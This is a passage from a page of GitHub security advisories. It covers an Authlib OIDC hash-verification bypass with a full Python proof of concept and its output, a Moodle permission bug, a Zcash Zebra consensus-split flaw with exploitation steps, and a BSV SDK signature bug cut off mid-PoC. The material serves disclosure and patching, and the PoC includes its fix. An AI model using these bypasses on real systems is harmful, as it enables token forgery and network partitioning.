demonstrates the vulnerability across the Root Cause, Implicit Flow (`at_hash`), Hybrid Flow (`c_hash`), and the entire attack surface. It utilizes Authlib\u0027s own validation logic to prove the Fail-Open behavior.```bash\n\n```bash\npython3 -m venv venv\nsource venv/bin/activate\npip install authlib cryptography\npython3 -c \"import authlib; print(authlib.__version__)\"\n# \u2192 1.6.8\n```\n\n```python\n#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@title          OIDC at_hash / c_hash Verification Bypass\n@affected       authlib \u003c= 1.6.8\n@file           authlib/oidc/core/claims.py :: _verify_hash()\n@notice         _verify_hash() retorna True cuando create_half_hash() retorna\n                None (alg no soportado), causando Fail-Open en la verificacion\n                de binding entre ID Token y Access Token / Authorization Code.\n@dev            Reproduce el bypass directamente contra el codigo de authlib\n                sin mocks. Todas las llamadas son al modulo real instalado.\n\"\"\"\n\nimport hmac\nimport hashlib\nimport base64\nimport time\n\nimport authlib\nfrom authlib.common.encoding   import to_bytes\nfrom authlib.oidc.core.util    import create_half_hash\nfrom authlib.oidc.core.claims  import IDToken, HybridIDToken\nfrom authlib.oidc.core.claims  import _verify_hash as authlib_verify_hash\n\n# \u2500\u2500\u2500 helpers \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nR   = \"\\033[0m\"\nRED = \"\\033[91m\"\nGRN = \"\\033[92m\"\nYLW = \"\\033[93m\"\nCYN = \"\\033[96m\"\nBLD = \"\\033[1m\"\nDIM = \"\\033[2m\"\n\ndef header(title):\n    print(f\"\\n{CYN}{\u0027\u2500\u0027 * 64}{R}\")\n    print(f\"{BLD}{title}{R}\")\n    print(f\"{CYN}{\u0027\u2500\u0027 * 64}{R}\")\n\ndef ok(msg):   print(f\"  {GRN}[OK]      {R}{msg}\")\ndef fail(msg): print(f\"  {RED}[BYPASS]  {R}{BLD}{msg}{R}\")\ndef info(msg): print(f\"  {DIM}          {msg}{R}\")\n\ndef at_hash_correct(token: str, alg: str) -\u003e str:\n    \"\"\"\n    @notice  Computa at_hash segun OIDC Core 1.0 s3.2.2.9.\n    @param   token  Access token ASCII\n    @param   alg    Algoritmo del header del ID Token\n    @return  str    at_hash en Base64url sin padding\n    \"\"\"\n    fn = {\"256\": hashlib.sha256, \"384\": hashlib.sha384, \"512\": hashlib.sha512}\n    digest = fn.get(alg[-3:], hashlib.sha256)(token.encode()).digest()\n    return base64.urlsafe_b64encode(digest[:len(digest)//2]).rstrip(b\"=\").decode()\n\n\ndef _verify_hash_patched(signature: str, s: str, alg: str) -\u003e bool:\n    \"\"\"\n    @notice  Version corregida de _verify_hash() con semantica Fail-Closed.\n    @dev     Fix: `if not hash_value` -\u003e `if hash_value is None`\n             None es falsy en Python, pero b\"\" no lo es. El chequeo original\n             no distingue entre \"algoritmo no soportado\" y \"hash vacio\".\n    \"\"\"\n    hash_value = create_half_hash(s, alg)\n    if hash_value is None:\n        return False\n    return hmac.compare_digest(hash_value, to_bytes(signature))\n\n# \u2500\u2500\u2500 test 1: root cause \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef test_root_cause():\n    \"\"\"\n    @notice  Demuestra que create_half_hash() retorna None para alg desconocido\n             y que _verify_hash() interpreta ese None como verificacion exitosa.\n    \"\"\"\n    header(\"TEST 1 - Root Cause: create_half_hash() + _verify_hash()\")\n\n    token    = \"real_access_token_from_AS\"\n    fake_sig = \"AAAAAAAAAAAAAAAAAAAAAA\"\n    alg      = \"CUSTOM_ALG\"\n\n    half_hash = create_half_hash(token, alg)\n    info(f\"create_half_hash(token, {alg!r})  -\u003e  {half_hash!r}  (None = alg no soportado)\")\n\n    result_vuln    = authlib_verify_hash(fake_sig, token, alg)\n    result_patched = _verify_hash_patched(fake_sig, token, alg)\n\n    print()\n    if result_vuln:\n        fail(f\"authlib _verify_hash() retorno True con firma falsa y alg={alg!r}\")\n    else:\n        ok(f\"authlib _verify_hash() retorno False\")\n\n    if not result_patched:\n        ok(f\"_verify_hash_patched() retorno False (fail-closed correcto)\")\n    else:\n        fail(f\"_verify_hash_patched() retorno True\")\n\n# \u2500\u2500\u2500 test 2: IDToken.validate_at_hash() bypass \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef test_at_hash_bypass():\n    \"\"\"\n    @notice  Demuestra el bypass end-to-end en IDToken.validate_at_hash().\n             El atacante modifica el header alg del JWT a un valor no soportado.\n             validate_at_hash() no levanta excepcion -\u003e token aceptado.\n\n    @dev     Flujo real de authlib:\n               validate_at_hash() -\u003e _verify_hash(at_hash, access_token, alg)\n               -\u003e create_half_hash(access_token, \"CUSTOM_ALG\") -\u003e None\n               -\u003e `if not None` -\u003e True -\u003e no InvalidClaimError -\u003e BYPASS\n    \"\"\"\n    header(\"TEST 2 - IDToken.validate_at_hash() Bypass (Implicit / Hybrid Flow)\")\n\n    real_token  = \"ya29.LEGITIMATE_token_from_real_AS\"\n    evil_token  = \"ya29.MALICIOUS_token_under_attacker_control\"\n    fake_at_hash = \"FAAAAAAAAAAAAAAAAAAAA\"\n\n    # --- caso A: token legitimo con alg correcto ---\n    correct_hash = at_hash_correct(real_token, \"RS256\")\n    token_legit  = IDToken(\n        {\"iss\": \"https://idp.example.com\", \"sub\": \"user\", \"aud\": \"client\",\n         \"exp\": int(time.time()) + 3600, \"iat\": int(time.time()),\n         \"at_hash\": correct_hash},\n        {\"access_token\": real_token}\n    )\n    token_legit.header = {\"alg\": \"RS256\"}\n\n    try:\n        token_legit.validate_at_hash()\n        ok(f\"Caso A (legitimo, RS256):  at_hash={correct_hash}  -\u003e  aceptado\")\n    except Exception as e:\n        fail(f\"Caso A rechazo el token legitimo: {e}\")\n\n    # --- caso B: token malicioso con alg forjado ---\n    token_forged = IDToken(\n        {\"iss\": \"https://idp.example.com\", \"sub\": \"user\", \"aud\": \"client\",\n         \"exp\": int(time.time()) + 3600, \"iat\": int(time.time()),\n         \"at_hash\": fake_at_hash},\n        {\"access_token\": evil_token}\n    )\n    token_forged.header = {\"alg\": \"CUSTOM_ALG\"}\n\n    try:\n        token_forged.validate_at_hash()\n        fail(f\"Caso B (atacante, alg=CUSTOM_ALG):  at_hash={fake_at_hash}  -\u003e  BYPASS exitoso\")\n        info(f\"access_token del atacante aceptado: {evil_token}\")\n    except Exception as e:\n        ok(f\"Caso B rechazado correctamente: {e}\")\n\n# \u2500\u2500\u2500 test 3: HybridIDToken.validate_c_hash() bypass \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef test_c_hash_bypass():\n    \"\"\"\n    @notice  Mismo bypass pero para c_hash en Hybrid Flow.\n             Permite Authorization Code Substitution Attack.\n    @dev     OIDC Core 1.0 s3.3.2.11 exige verificacion obligatoria de c_hash.\n             Authlib la omite cuando el alg es desconocido.\n    \"\"\"\n    header(\"TEST 3 - HybridIDToken.validate_c_hash() Bypass (Hybrid Flow)\")\n\n    real_code  = \"SplxlOBeZQQYbYS6WxSbIA\"\n    evil_code  = \"ATTACKER_FORGED_AUTH_CODE\"\n    fake_chash = \"ZZZZZZZZZZZZZZZZZZZZZZ\"\n\n    token = HybridIDToken(\n        {\"iss\": \"https://idp.example.com\", \"sub\": \"user\", \"aud\": \"client\",\n         \"exp\": int(time.time()) + 3600, \"iat\": int(time.time()),\n         \"nonce\": \"n123\", \"at_hash\": \"AAAA\", \"c_hash\": fake_chash},\n        {\"code\": evil_code, \"access_token\": \"sometoken\"}\n    )\n    token.header = {\"alg\": \"XX9999\"}\n\n    try:\n        token.validate_c_hash()\n        fail(f\"c_hash={fake_chash!r} aceptado con alg=XX9999 -\u003e Authorization Code Substitution posible\")\n        info(f\"code del atacante aceptado: {evil_code}\")\n    except Exception as e:\n        ok(f\"Rechazado correctamente: {e}\")\n\n# \u2500\u2500\u2500 test 4: superficie de ataque \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef test_attack_surface():\n    \"\"\"\n    @notice  Mapea todos los valores de alg que disparan el bypass.\n    @dev     create_half_hash hace: getattr(hashlib, f\"sha{alg[2:]}\", None)\n             Cualquier string que no resuelva a un atributo de hashlib -\u003e None -\u003e bypass.\n    \"\"\"\n    header(\"TEST 4 - Superficie de Ataque\")\n\n    token    = \"test_token\"\n    fake_sig = \"AAAAAAAAAAAAAAAAAAAAAA\"\n\n    vectors = [\n        \"CUSTOM_ALG\", \"XX9999\", \"none\", \"None\", \"\", \"RS\", \"SHA256\",\n        \"HS0\", \"EdDSA256\", \"PS999\", \"RS 256\", \"../../../etc\", \"\u0027 OR \u00271\u0027=\u00271\",\n    ]\n\n    print(f\"  {\u0027alg\u0027:\u003c22}  {\u0027half_hash\u0027:\u003c10}  resultado\")\n    print(f\"  {\u0027-\u0027*22}  {\u0027-\u0027*10}  {\u0027-\u0027*20}\")\n\n    for alg in vectors:\n        hv     = create_half_hash(token, alg)\n        result = authlib_verify_hash(fake_sig, token, alg)\n        hv_str = \"None\" if hv is None else \"bytes\"\n        res_str = f\"{RED}BYPASS{R}\" if result else f\"{GRN}OK{R}\"\n        print(f\"  {alg!r:\u003c22}  {hv_str:\u003c10}  {res_str}\")\n\n# \u2500\u2500\u2500 main \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nif __name__ == \"__main__\":\n    print(f\"\\n{BLD}authlib {authlib.__version__} - OIDC Hash Verification Bypass PoC{R}\")\n    print(f\"authlib/oidc/core/claims.py :: _verify_hash() \\n\")\n\n    test_root_cause()\n    test_at_hash_bypass()\n    test_c_hash_bypass()\n    test_attack_surface()\n\n    print(f\"\\n{DIM}Fix: `if not hash_value` -\u003e `if hash_value is None` en _verify_hash(){R}\\n\")\n```\n\n---\n\n## Output\n\n```bash\nuthlib 1.6.8 - OIDC Hash Verification Bypass PoC\nauthlib/oidc/core/claims.py :: _verify_hash() \n\n\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nTEST 1 - Root Cause: create_half_hash() + _verify_hash()\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n            create_half_hash(token, \u0027CUSTOM_ALG\u0027)  -\u003e  None  (None = alg no soportado)\n\n  [BYPASS]  authlib _verify_hash() retorno True con firma falsa y alg=\u0027CUSTOM_ALG\u0027\n  [OK]      _verify_hash_patched() retorno False (fail-closed correcto)\n\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nTEST 2 - IDToken.validate_at_hash() Bypass (Implicit / Hybrid Flow)\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n  [OK]      Caso A (legitimo, RS256):  at_hash=gh_beqqliVkRPAXdOz2Gbw  -\u003e  aceptado\n  [BYPASS]  Caso B (atacante, alg=CUSTOM_ALG):  at_hash=FAAAAAAAAAAAAAAAAAAAA  -\u003e  BYPASS exitoso\n            access_token del atacante aceptado: ya29.MALICIOUS_token_under_attacker_control\n\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nTEST 3 - HybridIDToken.validate_c_hash() Bypass (Hybrid Flow)\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n  [BYPASS]  c_hash=\u0027ZZZZZZZZZZZZZZZZZZZZZZ\u0027 aceptado con alg=XX9999 -\u003e Authorization Code Substitution posible\n            code del atacante aceptado: ATTACKER_FORGED_AUTH_CODE\n\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nTEST 4 - Superficie de Ataque\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n  alg                     half_hash   resultado\n  ----------------------  ----------  --------------------\n  \u0027CUSTOM_ALG\u0027            None        BYPASS\n  \u0027XX9999\u0027                None        BYPASS\n  \u0027none\u0027                  None        BYPASS\n  \u0027None\u0027                  None        BYPASS\n  \u0027\u0027                      None        BYPASS\n  \u0027RS\u0027                    None        BYPASS\n  \u0027SHA256\u0027                None        BYPASS\n  \u0027HS0\u0027                   None        BYPASS\n  \u0027EdDSA256\u0027              None        BYPASS\n  \u0027PS999\u0027                 None        BYPASS\n  \u0027RS 256\u0027                None        BYPASS\n  \u0027../../../etc\u0027          None        BYPASS\n  \"\u0027 OR \u00271\u0027=\u00271\"           None        BYPASS\n\nFix: `if not hash_value` -\u003e `if hash_value is None` en _verify_hash()\n```",
  "id": "GHSA-m344-f55w-2m6j",
  "modified": "2026-03-16T21:54:15Z",
  "published": "2026-03-16T16:15:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/security/advisories/GHSA-m344-f55w-2m6j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28498"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/commit/b9bb2b25bf8b7e01512d847a95c1749646eaa72b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/authlib/authlib"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authlib/authlib/releases/tag/v1.6.9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Authlib: Fail-Open Cryptographic Verification in OIDC Hash Binding"
}

GHSA-M55G-VPGH-VW7C

Vulnerability from github – Published: 2022-05-24 17:44 – Updated: 2023-02-13 00:30

Details

A vulnerability was found in Moodle affection 3.7 to 3.7.1, 3.6 to 3.6.5, 3.5 to 3.5.7 and earlier unsupported versions where activity creation capabilities were not correctly respected when selecting the activity to use for a course in single activity mode.

Severity

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2019-14829"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-573"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-03-19T21:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in Moodle affection 3.7 to 3.7.1, 3.6 to 3.6.5, 3.5 to 3.5.7 and earlier unsupported versions where activity creation capabilities were not correctly respected when selecting the activity to use for a course in single activity mode.",
  "id": "GHSA-m55g-vpgh-vw7c",
  "modified": "2023-02-13T00:30:58Z",
  "published": "2022-05-24T17:44:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-14829"
    },
    {
      "type": "WEB",
      "url": "https://git.moodle.org/gw?p=moodle.git%3Ba=commit%3Bh=208397c120b6bf74ca6a173e42cb527904c5ab42"
    },
    {
      "type": "WEB",
      "url": "https://git.moodle.org/gw?p=moodle.git;a=commit;h=208397c120b6bf74ca6a173e42cb527904c5ab42"
    },
    {
      "type": "WEB",
      "url": "https://moodle.org/mod/forum/discuss.php?d=391035"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PVMV-CWG8-V6C8

Vulnerability from github – Published: 2026-05-08 18:27 – Updated: 2026-05-08 18:27

Summary

Zebra v4.4.0 still accepts V5 SIGHASH_SINGLE without a corresponding output

Details

Consensus Divergence in V5 Transparent SIGHASH_SINGLE With No Corresponding Output

Summary

Zebra failed to enforce a ZIP-244 consensus rule for V5 transparent transactions: when an input is signed with SIGHASH_SINGLE and there is no transparent output at the same index as that input, validation must fail. Zebra instead asked the underlying sighash library to compute a digest, and that library produced a digest over an empty output set rather than failing. An attacker could craft a V5 transaction with more transparent inputs than outputs that Zebra accepts but zcashd rejects, creating a consensus split between Zebra and zcashd nodes.

A previous fix (GHSA-cwfq-rfcr-8hmp) addressed a closely related case in the same area of the code, but did not cover this specific one.

Severity

Critical - This is a Consensus Vulnerability that could allow a malicious party to induce network partitioning, service disruption, and potential double-spend attacks against affected nodes.

Note that the impact is currently alleviated by the fact that currently most miners run zcashd.

Affected Versions

Zebra 4.4.0.

Description

Verification of transparent transactions inherits the Bitcoin Script verification code in C++. Since it is consensus-critical, this code is called from Zebra through a foreign function interface (FFI), with a Rust callback that computes the sighash for each input being verified.

ZIP-244 §S.2a marks two situations as consensus failure for V5 transparent signatures:

The signed hash type is not one of the six canonical values; and
The hash type is SIGHASH_SINGLE (alone or combined with ANYONECANPAY) and the input has no transparent output at the same index.

zcashd enforces both rules: its SignatureHash raises an exception, and CheckSig catches it and fails the script. A previous fix (GHSA-cwfq-rfcr-8hmp) added the first rule to Zebra's V5 sighash callback. The second rule, however, was not added — Zebra's callback forwarded the request to librustzcash's ZIP-244 implementation, which handles an out-of-range SIGHASH_SINGLE output index by hashing an empty output set rather than refusing to produce a digest. As a result, Zebra would compute a well-defined sighash for the missing-output case and accept any signature that verified against it.

An attacker could exploit this by:

Constructing a V5 transaction with two or more transparent inputs and fewer transparent outputs;
Signing an input whose index has no matching vout entry with SIGHASH_SINGLE (0x03) or SIGHASH_SINGLE|ANYONECANPAY (0x83), using the digest Zebra computes;
Broadcasting the transaction, or a block containing it, to the network.

Zebra would verify the transaction's transparent script and accept the transaction (and any block containing it), while zcashd would reject both, splitting Zebra nodes from the rest of the network.

Impact

Consensus Failure

Attack Vector: Network.
Effect: Network partition/consensus split.
Scope: Any affected Zebra node.

Fixed Versions

This issue is fixed in Zebra 4.4.1.

Mitigation

Users should upgrade to Zebra 4.4.1 or later immediately.

There are no known workarounds for this issue. Immediate upgrade is the only way to ensure the node remains on the correct consensus path and is protected against malicious chain forks.

Credits

Zebra thanks @sangsoo-osec, @zmanian, and @fivelittleducks for finding and reporting the issue.

Severity

9.3 (Critical)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "zebrad"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "zebra-script"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-354",
      "CWE-573"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T18:27:26Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "# Consensus Divergence in V5 Transparent SIGHASH_SINGLE With No Corresponding Output\n\n## Summary\n\nZebra failed to enforce a ZIP-244 consensus rule for V5 transparent transactions: when an input is signed with `SIGHASH_SINGLE` and there is no transparent output at the same index as that input, validation must fail. Zebra instead asked the underlying sighash library to compute a digest, and that library produced a digest over an empty output set rather than failing. An attacker could craft a V5 transaction with more transparent inputs than outputs that Zebra accepts but `zcashd` rejects, creating a consensus split between Zebra and `zcashd` nodes.\n\nA previous fix ([`GHSA-cwfq-rfcr-8hmp`](https://github.com/ZcashFoundation/zebra/security/advisories/GHSA-cwfq-rfcr-8hmp)) addressed a closely related case in the same area of the code, but did not cover this specific one. \n\n## Severity\n\n**Critical** - This is a Consensus Vulnerability that could allow a malicious party to induce network partitioning, service disruption, and potential double-spend attacks against affected nodes.\n\nNote that the impact is currently alleviated by the fact that currently most miners run `zcashd`.\n\n## Affected Versions\n\nZebra 4.4.0.\n\n## Description\n\nVerification of transparent transactions inherits the Bitcoin Script verification code in C++. Since it is consensus-critical, this code is called from Zebra through a foreign function interface (FFI), with a Rust callback that computes the sighash for each input being verified.\n\nZIP-244 \u00a7S.2a marks two situations as consensus failure for V5 transparent signatures:\n\n1. The signed hash type is not one of the six canonical values; and\n2. The hash type is `SIGHASH_SINGLE` (alone or combined with `ANYONECANPAY`) and the input has no transparent output at the same index.\n\n`zcashd` enforces both rules: its `SignatureHash` raises an exception, and `CheckSig` catches it and fails the script. A previous fix (`GHSA-cwfq-rfcr-8hmp`) added the first rule to Zebra\u0027s V5 sighash callback. The second rule, however, was not added \u2014 Zebra\u0027s callback forwarded the request to `librustzcash`\u0027s ZIP-244 implementation, which handles an out-of-range `SIGHASH_SINGLE` output index by hashing an empty output set rather than refusing to produce a digest. As a result, Zebra would compute a well-defined sighash for the missing-output case and accept any signature that verified against it.\n\nAn attacker could exploit this by:\n\n- Constructing a V5 transaction with two or more transparent inputs and fewer transparent outputs;\n- Signing an input whose index has no matching `vout` entry with `SIGHASH_SINGLE` (`0x03`) or `SIGHASH_SINGLE|ANYONECANPAY` (`0x83`), using the digest Zebra computes;\n- Broadcasting the transaction, or a block containing it, to the network.\n\nZebra would verify the transaction\u0027s transparent script and accept the transaction (and any block containing it), while `zcashd` would reject both, splitting Zebra nodes from the rest of the network.\n\n## Impact\n\n**Consensus Failure**\n\n- **Attack Vector:** Network.\n- **Effect:** Network partition/consensus split.\n- **Scope:** Any affected Zebra node.\n\n## Fixed Versions\n\nThis issue is fixed in Zebra 4.4.1.\n\n## Mitigation\n\nUsers should upgrade to Zebra 4.4.1 or later immediately.\n\nThere are no known workarounds for this issue. Immediate upgrade is the only way to ensure the node remains on the correct consensus path and is protected against malicious chain forks.\n\n## Credits\n\nZebra thanks @sangsoo-osec, @zmanian, and @fivelittleducks for finding and reporting the issue.",
  "id": "GHSA-pvmv-cwg8-v6c8",
  "modified": "2026-05-08T18:27:26Z",
  "published": "2026-05-08T18:27:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ZcashFoundation/zebra/security/advisories/GHSA-pvmv-cwg8-v6c8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ZcashFoundation/zebra"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Zebra v4.4.0 still accepts V5 SIGHASH_SINGLE without a corresponding output"
}

GHSA-VJPQ-XX5G-QVMM

Vulnerability from github – Published: 2026-02-17 16:13 – Updated: 2026-02-18 23:48

Summary

BSV Blockchain SDK has an Authentication Signature Data Preparation Vulnerability

Details

BRC-104 Authentication Signature Data Preparation Vulnerability

Summary

A critical cryptographic vulnerability in the TypeScript SDK's BRC-104 authentication implementation caused incorrect signature data preparation, resulting in signature incompatibility between SDK implementations and potential authentication bypass scenarios.

Details

The vulnerability was located in the Peer.ts file of the TypeScript SDK, specifically in the processInitialRequest and processInitialResponse methods where signature data is prepared for BRC-104 mutual authentication.

Vulnerable Code Locations: - ts-sdk/src/auth/Peer.ts lines 527-531 (signing) - ts-sdk/src/auth/Peer.ts lines 584-590 (verification)

Root Cause: The TypeScript SDK incorrectly prepared signature data by: 1. Concatenating base64-encoded nonce strings: message.initialNonce + sessionNonce 2. Then decoding the concatenated base64 string: base64ToBytes(concatenatedString)

This produced ~32-34 bytes of signature data instead of the correct 64 bytes.

Buggy Implementation (Before Fix):

// CRITICAL BUG: Concatenating base64 strings before decoding
data: Peer.base64ToBytes(message.initialNonce + sessionNonce)

Correct Implementation (After Fix): The fix properly decodes each base64 nonce individually, then concatenates the byte arrays:

data: [
  ...Peer.base64ToBytes(message.initialNonce),
  ...Peer.base64ToBytes(sessionNonce)
]

Why This is Critical: BRC-104 authentication relies on cryptographic signatures to establish mutual trust between peers. When signature data preparation is incorrect: - Signatures generated by the TypeScript SDK don't match those expected by Go/Python SDKs - Cross-implementation authentication fails - An attacker could potentially exploit this to bypass authentication checks

PoC

The cross-language test suite demonstrates this vulnerability:

Setup: Use identical nonces and cryptographic inputs across TypeScript, Python, and Go SDKs
Vulnerable behavior: TypeScript SDK produces different signature data than Go/Python reference implementations
Impact demonstration: Authentication attempts between TypeScript clients and Go/Python servers fail due to signature mismatch

Test Evidence:

// Buggy approach (produces ~32-34 bytes)
const concatenatedB64 = INITIAL_NONCE_B64 + SESSION_NONCE_B64;
const buggyResult = Array.from(Buffer.from(concatenatedB64, 'base64'));

// Correct approach (produces 64 bytes)
